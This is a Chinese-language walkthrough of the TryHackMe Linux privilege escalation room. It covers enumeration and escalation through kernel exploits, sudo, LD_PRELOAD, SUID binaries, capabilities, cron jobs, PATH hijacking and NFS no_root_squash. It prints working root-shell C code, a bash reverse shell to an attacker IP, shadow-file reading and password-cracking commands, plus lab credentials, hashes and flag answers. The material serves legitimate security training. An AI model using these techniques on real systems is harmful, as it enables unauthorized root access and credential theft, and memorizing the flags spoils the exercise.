本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/linprivesc
通过学习相关知识点:了解 Linux 权限提升的基础知识,从枚举到利用,了解多种不同的权限提升技术。
介绍
权限提升是一段旅程,没有灵丹妙药,很大程度上取决于目标系统的具体配置。 目标系统内核版本、目标所安装的应用程序、目标所支持的编程语言、其他用户的密码是影响你通往 root shell 之路的几个关键因素。
本文旨在涵盖主要的权限提升向量,并让你更好地了解权限提升过程。 无论你是参加 CTF、参加认证考试还是担任渗透测试员,权限提升都将成为你的技能武器库中的重要组成部分。
什么是权限提升
“权限提升”是什么意思?
权限提升通常涉及从较低权限的帐户到较高权限的帐户。 从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽来获得对通常限制用户访问的资源的未经授权的访问。
权限提升为什么重要?
在执行真实世界的渗透测试时很少能获得一个权限级别很高的立足点(初始访问权限),从而为你提供直接的管理访问权限。 权限提升至关重要,因为它可以让你获得系统管理员级别的访问权限,从而可以执行以下操作:
- 重置密码
- 绕过访问控制以破坏受保护的数据
- 编辑软件配置
- 建立持久性访问
- 更改现有(或新)用户的权限
- 执行任何管理员才能执行的命令
枚举信息
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
枚举信息是你访问任何系统后必须采取的第一步。 你可能通过利用导致root级别访问的关键漏洞访问了系统,或者只是找到了使用低权限帐户发送命令的方法。 与 CTF 中的机器不同,渗透测试活动不会在你获得对特定系统或用户权限级别的访问权限后结束,所以进行信息枚举在渗透后期和前期一样重要。
hostname
hostname
命令将返回目标机器的主机名。虽然这个值可以很容易被改变或者会显示为一个相对无意义的字符串(例如 Ubuntu-3487340239),但是在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息(例如,用于生产环境下的 SQL 服务器的SQL-PROD-01)。
uname -a
使用该命令将打印系统信息,为我们提供有关系统使用的内核的更多详细信息;这在搜索可能导致权限提升的任何潜在内核漏洞时非常有用。
/proc/version
proc 文件系统 (procfs) 会提供有关目标系统进程的信息。查看 /proc/version
可能会为你提供有关目标系统的内核版本和其他数据的信息,例如是否安装了编译器(如GCC)。
/etc/issue
也可以通过查看/etc/issue
文件来获取系统信息,该文件通常会包含有关操作系统的一些信息,但可以进行轻松定制或更改。为了更清楚地了解目标系统,有一定必要查看该文件内容。
/etc/os-release
查看/etc/os-release
文件内容,可知linux发行版本等相关信息。
ps Command
ps
命令是查看 Linux 系统上正在运行的进程的有效方法。 在终端上键入ps
将显示当前 shell 的进程。
ps
(Process Status-进程状态)的输出将显示以下内容;
- PID:进程ID(进程唯一)
- TTY:用户使用的终端类型
- Time:进程使用的 CPU 时间量(这不是该进程运行的时间)
- CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
“ps”命令提供了一些有用的选项。
-
ps -A
:查看所有正在运行的进程 -
ps axjf
:查看进程树(在下面运行ps axjf
之前查看树的形成)
ps aux
:aux
选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。 通过查看 ps aux 命令的输出,我们可以更好地了解系统和潜在的漏洞。
env
env
命令将显示环境变量。
PATH 变量可能包含编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。
sudo -l
目标系统可以配置为允许用户以 root 权限运行一些(或全部)命令,sudo -l
命令可用于:列出你当前登陆的用户可以使用 sudo 运行的所有命令。
ls
ls
是Linux系统中的常用命令之一。
在寻找潜在的权限提升向量时,请记住始终使用带有 -la
参数的 ls
命令。下面的示例显示了:如果简单地使用 ls
或 ls -l
命令会遗漏“secret.txt”文件;所以需要使用ls -la
命令。
id
id
命令将提供用户权限级别和组成员身份的一般概述;id
命令也可以用于为另一个用户获取相同的信息,如下所示。
/etc/passwd
读取 /etc/passwd
文件是发现系统用户的一种简单方法。
虽然输出可能很长而且有点吓人,但它可以很容易地被剪切并转换为用于暴力破解的有效用户列表:cat /etc/passwd | cut -d ":" -f 1
cut
截取字符串
-d
定义分隔符,这里是":"
-f
表示需要取哪个字段,这里是1,取第一个字段
以上命令的效果会返回目标系统相关的所有用户,其中有一些是不常用的系统用户或服务用户。
另一种使用方法是通过grep
命令查找“home”,因为真实用户很可能会将他们的文件夹放在“home”目录下。
history
使用 history
命令可以查看当前用户早期使用过的命令,可以让我们对目标系统有所了解,而且history
命令的结果中 可能已经存储了诸如密码或用户名之类的关键信息。
ifconfig
目标系统可能是另一个网络的枢纽点。
使用ifconfig
命令将为我们提供有关系统网络接口的信息。 下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1);我们的攻击机可以访问eth0接口,但不能直接访问另外两个网络。
可以使用ip route
命令来确认,以查看存在哪些网络路由。
netstat
在对现有接口和网络路由进行初步检查之后,还值得研究一下现有的通信连接。netstat
命令可以与几个不同的选项一起使用,以收集有关现有连接的信息。
netstat -a
:显示所有正在侦听的端口和已建立的连接。netstat -at
或者netstat -au
:可用于分别列出 TCP 或 UDP 协议。netstat -l
:以“监听”模式列出端口,这些端口都已打开并准备好接受传入连接。 可以与“t”选项一起使用,仅列出使用TCP协议侦听的端口(如下)。
netstat -s
:按协议列出网络使用统计信息(如下) ,也可以与 -t 或 -u 选项一起使用,以将输出限制为特定协议。
netstat -tp
:列出带有服务名称和 PID 信息的连接。
这也可以与 -l
选项一起使用来列出正在监听的端口(如下)
我们可以看到“PID/Program name”列是空的,因为该进程由另一个用户拥有。下面是使用 root 权限运行的相同命令,信息显示为 2641/nc (netcat)
netstat -i
:显示接口统计信息。 我们在下面看到“eth0”和“tun0”比“tun1”更活跃。
可能你在博客文章、Write-up和一些课程中最常看到的 netstat
用法是 netstat -ano
,它可以细分如下:
- -a:显示所有套接字
- -n:不解析名称
- -o:显示计时器
find Command
使用内置的"find"命令,在目标系统中搜索重要信息和潜在的权限提升向量可能会很有成效。
下面是“ find”命令的一些有用示例。
查找文件:
find . -name flag1.txt
:在当前目录中查找名为“flag1.txt”的文件find /home -name flag1.txt
:在 /home 目录中查找名为“flag1.txt”的文件find / -type d -name config
:在“/”下找到名为config的目录find / -type f -perm 0777
:查找具有 777 权限的文件(所有用户可读、可写和可执行的文件)find / -perm a=x
:查找可执行文件find /home -user frank
:在“/home”下找到用户“frank”的所有文件find / -mtime 10
:查找过去 10 天内修改过(modified )的文件find / -atime 10
:查找过去 10 天内访问过(accessed )的文件find / -cmin -60
:查找在过去一小时(60 分钟)内更改(changed )的文件find / -amin -60
:查找过去一小时(60 分钟)内访问过(accesses )的文件find / -size 50M
:查找大小为 50 MB 的文件
此命令还可以与 (+) 和 (-) 符号一起使用,以指定查找大于或小于给定大小的文件。
上面的示例结果会返回大于 100 MB 的文件。
注意“find”命令往往会产生一些错误,这有时会使输出结果难以阅读。明智的做法是使用带有“-type f 2>/dev/null
”的“find”命令,将错误重定向到“/dev/null”并获得更清晰的输出结果(如下)。
查找 可以写入或执行的文件夹和文件:
find / -writable -type d 2>/dev/null
:查找全局可写(world-writeable)文件夹find / -perm -222 -type d 2>/dev/null
:查找全局可写(world-writeable)文件夹find / -perm -o w -type d 2>/dev/null
:查找全局可写(world-writeable)文件夹
以上三个不同的“find”命令可能导致相同结果的原因可以在命令的手册文档中看到。 正如你在下面看到的,perm 参数会影响“find”命令的工作方式。
find / -perm -o x -type d 2>/dev/null
:查找全局可执行(world-executable)文件夹
查找开发工具和系统所支持的语言:
find / -name perl*
find / -name python*
find / -name gcc*
查找特定文件权限:
下面是一个用于查找设置了 SUID 位的文件的简短示例。SUID 位允许文件以拥有它的帐户的权限级别运行。
find / -perm -u=s -type f 2>/dev/null
:查找带有 SUID 位的文件,它允许我们以比当前用户更高的权限级别运行文件。
General Linux Commands
由于我们处于 Linux 领域,因此熟悉 Linux 命令通常会非常有用。 请花一些时间熟悉诸如 find
、locate
、grep
、cut
、sort
等命令。
答题
自动化枚举工具
有几个工具可以帮助你在枚举过程中节省时间,这些工具应该只用于节省时间,因为它们可能会错过一些特权升级向量。 以下是一些流行的 Linux 枚举工具列表,其中包含指向其各自 Github 存储库的链接。
目标系统的环境将影响你能够使用的工具。 例如,如果目标系统上未安装用 Python 编写的工具,你将无法直接运行它。 这就是为什么最好熟悉一些工具而不是拥有一个单一的首选工具。
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
权限提升:内核漏洞利用
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
权限提升的目标是为了获取到一个root 权限。 这有时可以简单地通过利用现有漏洞来实现,或者在某些情况下通过访问另一个拥有更多特权、信息、访问权限的用户帐户来实现。
除非通过利用单个漏洞获得root shell,否则权限提升过程将主要依赖于目标系统的错误配置和不严谨的权限分配。
Linux 系统上的内核管理组件之间会进行通信,例如系统上的内存和应用程序存在通信过程。 这个关键功能的实现需要系统内核拥有特定的权限; 因此,成功的内核漏洞利用可能会导致攻击者直接获得一个root权限。
内核漏洞利用方法:
- 识别内核版本
- 搜索并找到目标系统内核版本的漏洞利用代码
- 运行漏洞利用代码--执行相关exp
虽然看起来很简单,但请记住,失败的内核漏洞利用可能会导致系统崩溃;在尝试进行内核漏洞利用之前,请确保此潜在结果在你的渗透测试参与范围内是可接受的。
exp来源:
-
根据你收集的目标系统相关信息,你可以使用 Google 搜索现有的漏洞利用代码。
-
使用 https://www.linuxkernelcves.com/cves 等网站查找exp也很有用。
-
另一种选择是使用 LES(Linux Exploit Suggester)之类的脚本,但请记住,这些脚本工具可能会产生误报(报告内容会显示不影响目标系统的内核漏洞)或漏报(尽管系统内核易受攻击,但不报告任何相关的内核漏洞)。
提示/注意事项:
- 在 Google、Exploit-db 或 searchsploit 上搜索漏洞时对内核版本的描述要尽量具体;
- 确保在执行exp之前了解漏洞利用代码的工作原理。 一些漏洞利用代码可以会对操作系统进行更改,使其在进一步使用时变得不安全,或者对系统进行不可逆转的更改,从而在以后容易产生问题。 当然,在实验室或 CTF 环境中,这些事项可以忽略,但在真正的渗透测试环境中,这些事项绝对是禁忌。
- 一些漏洞exp运行之后 可能需要进一步的交互。 请仔细阅读随漏洞利用代码一起提供的所有相关注释和说明。
- 你可以分别使用 SimpleHTTPServer Python 模块和 wget命令 将漏洞exp代码从你的本地机传输到目标系统上。
答题
exp下载地址:https://www.exploit-db.com/download/37292
此处使用searchsploit查找相关的漏洞exp:
复制exp文件到当前工作目录下:
编译c文件:
启动简易的http服务器:
通过ssh登录到目标机
利用攻击机开启的简易http服务器,通过ssh界面,将编译之后的exp文件传输到目标机上:
执行已经编译后的exp文件,需要先给文件附加可执行权限:
使用find命令查找flag文件并查看其中的内容:
权限提升:sudo
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
默认情况下,sudo 命令会允许你以 root 权限运行程序。 在某些情况下,系统管理员可能需要在普通用户的权限上给予一定的灵活性。 例如,初级 SOC 分析师可能需要定期使用 Nmap(需要短暂用到root权限),但他不应该获得完全的 root 访问权限;在这种情况下,系统管理员可以允许该用户仅以 root 权限运行 Nmap程序,同时在系统的其余部分仍然保持该用户的常规权限级别。
任何用户都可以使用 sudo -l
命令检查其当前与 root 权限相关的情况。
https://gtfobins.github.io/ 是一个有价值的资源,它提供了有关如何使用你可能拥有 sudo 权限的任何程序(进行提权或者渗透)的信息。
利用应用程序功能
某些应用程序可能不会有已知的漏洞利用,如Apache2 服务器。
在这种情况下,我们可以使用“hack技巧”来利用应用程序的功能来获取泄漏的信息。 正如你在下面所看到的,Apache2 有一个支持加载替代配置文件的选项(-f :指定替代 ServerConfigFile)。
如果使用此选项来加载/etc/shadow
文件将导致出现错误消息,而在错误消息中会包括/etc/shadow
文件的第一行,我们就能获取到shadow 文件的部分信息。
利用 LD_PRELOAD
在某些目标系统上,你可能会看到 LD_PRELOAD 环境选项。
LD_PRELOAD 是一个允许任何程序使用共享库的函数,相关博文能帮助你了解 LD_PRELOAD函数 的功能。 如果目标系统启用了“env_keep”选项,我们就可以生成一个共享库,该库将在程序运行之前加载和执行;请注意,如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略。
这个提权向量的步骤可以总结如下:
- 检查 LD_PRELOAD(通过输入命令sudo -l查看:LD_PRELOAD是否使用了 env_keep 选项);
- 编写能够被编译为共享对象(.so 扩展名)文件的简单 C 代码;
- 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序。
相关的C 代码将简单地生成一个root shell,可以如下编写:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以将此代码保存为 shell.c 并使用 gcc 使用以下参数将其编译为共享对象文件:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
我们现在可以在启动当前用户能用sudo运行的任何程序时使用这个共享对象文件。 在本例中,我们可以使用 Apache2
、find
程序或者其他我们可以使用 sudo 运行的程序。
我们需要通过指定 LD_PRELOAD 选项来运行程序,相关命令如下:
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将导致生成具有 root 权限的 shell:
答题
利用sudo nano提权:
查看用户密码:
$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1
权限提升:SUID
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
许多Linux的权限控制都依赖于控制用户和文件的交互而实现,这是通过权限分配完成的。 到目前为止,我们已经知道文件可以具有读取、写入和执行权限;能让用户在其权限级别内针对文件进行不同的操作和使用。
权限分配设置会随着 SUID(Set-user Identification)和 SGID(Set-group Identification)的改变而改变。 SUID和SGID将会允许某个文件以文件所有者或组所有者的权限级别被执行。
你会注意到这些SUID或者SGID文件设置了一个“s”位来显示它们的特殊权限级别;使用命令find / -type f -perm -04000 -ls 2>/dev/null
列出设置了 SUID 位的文件( 将上述命令中的-04000换成-02000,则是查找设置了SGID位的文件)。
一个好的做法是将以上列表中的可执行文件与 GTFOBins (https://gtfobins.github.io) 进行比较。 在GTFOBins 页面,单击 SUID 按钮将过滤出 在设置 SUID 位时可利用的二进制文件(你也可以使用以下链接获取预过滤列表: https://gtfobins.github.io/#+suid) 。
上面的列表显示 nano 设置了 SUID 位,但是不幸的是,GTFObins 并没有为我们提供可以使用的提权方法。在典型的现实生活中的特权升级场景下,我们需要找到中间步骤来帮助我们利用已知的任何微小的发现。
为 nano 文本编辑器设置的 SUID 位允许我们使用文件所有者的权限创建、编辑和读取文件。 nano 由 root 拥有,这可能意味着我们可以以比当前用户更高的权限级别读取和编辑文件。 在这个阶段,我们有两个基本的权限提升选项:读取 /etc/shadow 文件或将我们的用户添加到 /etc/passwd。
以下是使用这两个向量的简单步骤。
读取/etc/shadow
文件
通过运行 find / -type f -perm -04000 -ls 2>/dev/null
命令,我们可以看到 nano 文本编辑器设置了 SUID 位。
输入命令nano /etc/shadow
将打印 /etc/shadow
文件的内容。 我们现在可以使用 unshadow
工具创建一个可以被开膛手约翰破解的文件;为此,unshadow
需要对 /etc/shadow
文件 和 /etc/passwd
文件进行处理。
unshadow 工具的用法如下所示:
unshadow passwd.txt shadow.txt > passwords.txt
有了正确的单词表和一点点运气,开膛手约翰可以以明文形式返回一个或多个密码。
另一种选择是添加一个具有 root 权限的新用户。 这将帮助我们避开繁琐的密码破解过程。 下面是一个简单的方法:
我们需要提供给新用户一个密码的哈希值,这可以使用 Kali Linux 上的 openssl 工具快速完成。
然后,我们将密码和用户名添加到/etc/passwd
文件中。
添加我们的用户后(请注意使用root:/bin/bash
来提供 root shell),我们切换到该用户并可以成功拥有 root 权限。
答题
使用命令查看用户名:
cat /etc/passwd | grep home | cut -d ":" -f 1
查找设置了SUID的文件:
find / -type f -perm -04000 -ls 2>/dev/null
使用https://gtfobins.github.io/# 查找SUID文件的利用方法
cd /etc
LFILE=shadow
base64 "$LFILE" | base64 --decode
nano pass.txt
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
使用ssh登录user2,查看并读取目标文件:
THM-3847834
权限提升:Capabilities
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
系统管理员可以用来提高进程或二进制文件权限级别的另一种方法是“Capabilities”,Capabilities有助于在更精细的级别上管理权限。 例如,如果 SOC 分析师需要使用启动套接字连接的工具,普通用户权限将无法做到这一点;如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的Capabilities,效果是:二进制文件无需更高权限的用户即可完成其任务。
简而言之:Capabilities是linux的一种访问控制能力,能够更精细化的将操作系统权限赋权给应用程序,其中就包括设置uid和gid的权限。因此具备cap_setuid和cap_setgid权限的程序可以用来进行权限提升。
Capabilities手册页(man Capabilities)提供了有关其用法和选项的详细信息。
我们可以使用 getcap 工具列出已经启用的Capabilities(功能):
当以非特权用户身份运行getcap -r /
时会产生大量错误,因此最好将错误消息重定向到 /dev/null
。
请注意,vim 及其副本并没有设置 SUID 位,因此,在枚举并查找 SUID文件时,无法发现此权限提升向量。
如果我们找到已经设置了cap_setuid的命令或者文件,可以通过使用GTFObins 的二进制文件列表来查找信息并尝试提升权限。
我们注意到 vim 可以与以下命令和有效负载一起使用:
这将启动一个 root shell,如下所示:
答题
通过ssh连接到目标机
执行以下命令:
getcap -r / 2>/dev/null
查找目标文件:
THM-9349843
权限提升:Cron Jobs(定时任务)
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
Cron Jobs可用于在特定时间运行脚本或二进制文件;默认情况下,它们以其所有者而不是当前用户的权限运行。 虽然正确配置的 cron jobs本身并不容易受到攻击,但它们可以在某些情况下提供权限提升向量。
利用Cron Jobs提升权限的思路很简单:如果有一个以 root 权限运行的定时任务,我们就可以尝试更改原本将要运行的脚本,那么经过我们修改之后的脚本将能够以 root 权限运行。
Cron jobs配置会存储为 crontab(cron 表),通过此表能查看任务将运行的下一次时间和日期。
系统上的每个用户都有他们的 crontab 文件,并且无论他们是否登录都可以运行特定的任务。 我们的目标是找到一个由 root 设置的 cron jobs并让它运行我们的脚本,最好是一个 shell。
任何用户都可以读取 保存在系统范围内的/etc/crontab
中的cron jobs文件
虽然 CTF中的目标机器可以每分钟或每 5 分钟运行一次 cron 任务,但在实际的渗透测试活动中,你会更经常地看到每天、每周或每月定时运行的cron任务。
你可以看到 backup.sh 脚本被配置为每分钟运行一次,该文件的内容是一个简单的脚本,该脚本的作用是创建 prices.xls 文件的备份。
由于我们当前的用户可以访问这个脚本,我们可以轻松地修改它以创建一个反向 shell 并以此获取 root 权限。
该脚本将使用目标系统上可用的工具来启动反向 shell,有两点需要注意:
- 相关的命令语法会因可用工具而异。 (例如目标系统上的 nc 可能不支持 -e 选项)
- 我们应该尽量使用反向 shell,因为我们不想在真正的渗透测试过程中损害系统的完整性。
该脚本内容应如下所示:
我们需要在攻击机上运行一个监听器来接收传入的连接:
Crontab 总是值得检查的,因为它有时会成为简单的权限提升向量;在没有一定网络安全成熟度级别的公司中,以下情况并不少见:
-
系统管理员需要定期运行脚本;
-
他们会创建一个 cron 任务来执行此操作;
-
一段时间后,脚本变得无用,他们会选择将其删除;
-
但是他们没有清理相关的 cron 任务。
这些管理问题将会导致cron 任务成为潜在的可利用漏洞。
上面的示例显示了类似的情况,即删除了 antivirus.sh 脚本,但 cron 任务仍然存在。
如果未定义脚本的完整路径( backup.sh 脚本有定义完整的路径),cron 将引用 /etc/crontab 文件中的 PATH 变量下列出的路径;在这种情况下,我们可以尝试在用户的主文件夹(home)下创建一个名为“antivirus.sh”的脚本,然后让它作为 cron 任务运行。
自定义创建的脚本内容如下:
最终传入的反向 shell 连接能够帮助我们成功获取 root 权限:
一旦你发现现有的脚本或任务被附加到cron jobs,那么就值得花时间去了解相关脚本的功能以及如何在上下文中使用工具对cron jobs进行利用。 例如,tar、7z、rsync 等都可以使用它们的通配符功能对cron jobs加以利用。
答题
使用ssh连接到目标机器,输入命令cat /etc/crontab
修改backup.sh脚本的内容为:
#bash -i >& /dev/tcp/attack_ip/1234 0>&1
bash -i >& /dev/tcp/10.10.233.68/1234 0>&1
在攻击机上设置监听器:
通过ssh界面在目标机上对backup.sh附加可执行权限,由于该脚本被附加为定时任务(具体情况为每分钟执行一次),所以会自动执行。
当脚本执行成功之后,攻击机上的监听器会接收到一个反向shell并以此获取root权限
查找目标文件并查看内容:
THM-383000283
查看用户密码,复制用户的密码hash到攻击机的本地文件上:
使用john在攻击机上破解用户的密码hash:
权限提升:PATH
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
如果对于当前用户而言具有写入权限的文件夹位于PATH环境变量下,你就能尝试劫持应用程序以运行指定脚本。 Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。 对于任何未内置于 shell 或未使用绝对路径定义的命令,Linux 将首先在 PATH环境变量下定义的文件夹中搜索。 (PATH在这里所说的是环境变量,path是文件的位置)。
通常,PATH 将如下所示:
如果我们在命令行中输入“thm”,Linux 将在上图中的那些位置查找名为 thm 的可执行文件。 下面的场景将使你更好地了解如何利用它来提权,这完全取决于目标系统的现有配置,因此请确保你在尝试提权之前可以回答以下问题:
- 哪些文件夹位于 $PATH 下
- 你当前的用户是否对这些文件夹中的任何一个具有写入权限?
- 你能修改 $PATH 吗?
- 是否有可以启动的脚本/应用程序会受此漏洞影响?
出于演示目的,我们将使用以下脚本:
该脚本尝试启动一个名为“thm”的系统二进制文件(该示例可以很容易地用其他任何二进制文件进行复现)。
我们将该脚本编译为可执行文件并设置 SUID 位。
如图所示,我们的用户现在已经可以访问设置了 SUID 位的“path”脚本。
一旦执行“path”脚本,系统将在PATH变量下列出的文件夹中查找名为“thm”的可执行文件。
查看在 PATH变量 下列出的可写文件夹,我们可以在对应目录下创建一个名为 thm 的二进制文件,这样我们在运行“path”脚本时,就会执行到名为thm的二进制文件。 由于设置了 SUID 位,此二进制文件将以 root 权限运行。
可以使用“find / -writable 2>/dev/null
”命令简单地搜索可写文件夹;使用简单的剪切和排序命令 能够整理此find命令的输出结果。
在一些 CTF 场景下可能会呈现不同的文件夹,但常规的目标系统会输出我们上面看到的内容。将其与 PATH变量下的文件夹进行比较,找到我们可以使用的文件夹。
我们在 /usr 目录下看到了许多文件夹,因此再次运行我们的可写文件夹搜索命令 以查找可写的子文件夹。
替代方法可以是下面的命令:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
我们可以添加“grep -v proc”选项来过滤一些/proc目录下的进程文件。
不幸的是,/usr 下的可写子文件夹并不在PATH环境变量中。
更容易写入的文件夹可能是 /tmp,但是因为 /tmp 不在 PATH环境变量中,所以我们需要添加它。 我们使用export PATH=/tmp:$PATH
来完成环境变量添加。
当“path”脚本执行时将在 /tmp 文件夹下查找名为“thm”的可执行文件。 我们可以在/tmp 文件夹下创建一个“thm”文件并将其内容设置为/bin/bash
。
我们已经给/bin/bash 副本也就是thm文件 赋予了可执行权限,请注意此时它将以我们当前用户的权限运行;利用该文件提权的原理是让之前定义的“path”脚本以 root 权限运行,由于“path”脚本已经被设置了SUID位,所以直接执行该脚本即可。
答题
使用ssh连接到目标机之后再查找目标文件夹
cd /home
ls -l
/home/murdoch
添加/tmp文件夹到PATH环境变量中,并在/tmp目录下新建一个可执行的二进制文件,该文件的功能是启动一个bash shell
export PATH=/tmp:$PATH
echo $PATH
cd /tmp
echo "/bin/bash" > thm #此处的thm为自定义名称
ls
chmod +x thm #附加可执行权限
进入到目标机的可写文件夹,在此处放置能够调用thm二进制文件的脚本,该脚本经GCC编译产生了另外一个可执行的带SUID位的文件,现在我们执行编译之后所产生的文件即可实现提权操作。
获得root权限之后,找到目标flag文件并查看其内容
find /home -name flag6.txt
cat /home/matt/flag6.txt
THM-736628929
权限提升:NFS
注意:
你可以在TryHackMe房间中启动目标机并直接从浏览器访问它。
或者,你可以使用以下低权限用户凭据通过 SSH 访问目标机:
- Username: karen
- Password: Password1
权限提升向量并不局限于内部访问,共享文件夹和远程管理界面(如 SSH 和 Telnet)也可以帮助你获得目标系统的 root 权限。 某些情况还需要同时使用两个提权向量,例如 可以在目标系统上找到一个 root SSH 私钥并通过 SSH 以 root 权限和目标系统进行连接--从而获得目标系统的root权限,而不是基于当前用户的权限级别进行提权。
另一个与 CTF 和考试更相关的提权向量是配置错误的网络shell,当目标上存在网络备份系统时,有时可以在渗透测试过程中看到此提权向量。
NFS(网络文件共享-Network File Sharing)配置保存在 /etc/exports
文件中;此文件是在 NFS 服务器安装期间创建的,通常可供用户读取。
此权限提升向量的关键元素是“no_root_squash”选项。 在默认情况下,NFS 会将 root 用户更改为 nfsnobody 并剥夺任何文件以 root 权限操作的机会;如果可写共享上存在“no_root_squash”选项,那么我们就可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。
我们先在攻击机上枚举目标机的可挂载共享。
然后把一个设置了“no_root_squash”选项(来自目标机)的共享挂载到我们的攻击机上并开始在攻击机上构建可执行文件。
在攻击机上,进入到刚才所挂载的共享目录下。因为我们可以设置 SUID 位,所以在目标系统上运行内容为/bin/bash
的简单可执行文件将完成提权操作。
编译代码后,我们将设置 SUID 位。
你将在下面的目标机界面看到两个文件(因为我们已经处理了挂载的共享,所以nfs.c 和 nfs 两个文件会存在于目标系统上,无需再传输它们)。
请注意,nfs 可执行文件在目标系统上带有SUID 位,能以 root 权限运行。
答题
在目标机上(通过ssh连接控制)查看共享cat /etc/exports
在攻击机上枚举目标机的可挂载共享showmount -e target_ip
把一个设置了“no_root_squash”选项(来自目标机)的共享挂载到我们的攻击机上并开始在攻击机上构建可执行文件。
mkdir /tmp/backupsonattack #backupsonattack是自定义名称
mount -o rw target_ip:/tmp /tmp/backupsonattack
在攻击机上,进入到所挂载的共享目录下cd /tmp/backupsonattack
,编写c脚本(nano shell.c
),并编译c代码,然后给编译产生的文件设置 SUID 位。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void)
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
gcc shell.c -o shell -w
chmod +s shell
ls -l shell
因为我们挂载了共享,所以在目标机上可以找到我们刚才在攻击机上得到的名为shell的文件;在目标机上执行shell文件即可提权。
提权成功之后,找到目标flag文件并查看其内容:find /home -name flag7.txt
THM-89384012
挑战任务
到目前为止,你已经对 Linux 上的主要权限提升向量有了相当好的了解,现在开始下面的挑战任务。
假设你已获得对大型科学设施的 SSH 访问权限,请尝试提升你的权限,直到你成为 Root 用户。不要留下任何未探索的特权升级向量,特权升级通常更像是一门艺术而不是一门科学。
启动目标机,你可以通过浏览器或者使用下面的 SSH 凭据访问目标机。
- Username: leonard
- Password: Penny123
答题
使用设置了SUID位的base64命令进行提权(使用 https://gtfobins.github.io/# 可查找SUID文件的利用方法):
#通过ssh连接,在目标机上操作
find / -type f -perm -04000 -ls 2>/dev/null #列出设置了SUID 位的文件
#通过ssh连接,在目标机上操作
#以下base64命令提权方法可在https://gtfobins.github.io/# 中找到
LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
查看以上输出结果,获取到目标用户的密码hash值;复制其内容到攻击机的文件pass.txt中,使用john破解pass.txt,得到用户的密码明文,然后在目标机上切换到目标用户并查看目标文件内容:
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
missy密码明文为:Password1
登录missy用户并查找flag文件:
su missy
#查看flag1
find /home -name flag1.txt
cat /home/missy/Documents/flag1.txt
#查看flag2方法一
LFILE=/home/rootflag/flag2.txt
base64 "$LFILE" | base64 --decode
#查看flag2方法二
sudo -l #发现find命令可以使用sudo方式提权,在https://gtfobins.github.io/# 网站上查找具体提权方法
sudo find . -exec /bin/sh \; -quit
find /home -name flag2.txt
cat /home/rootflag/flag2.txt
标签:文件,Escalation,用户,目标,THM,Linux,权限,root,find From: https://www.cnblogs.com/Hekeats-L/p/16867299.htmlflag1.txt: THM-42828719920544
flag2.txt: THM-168824782390238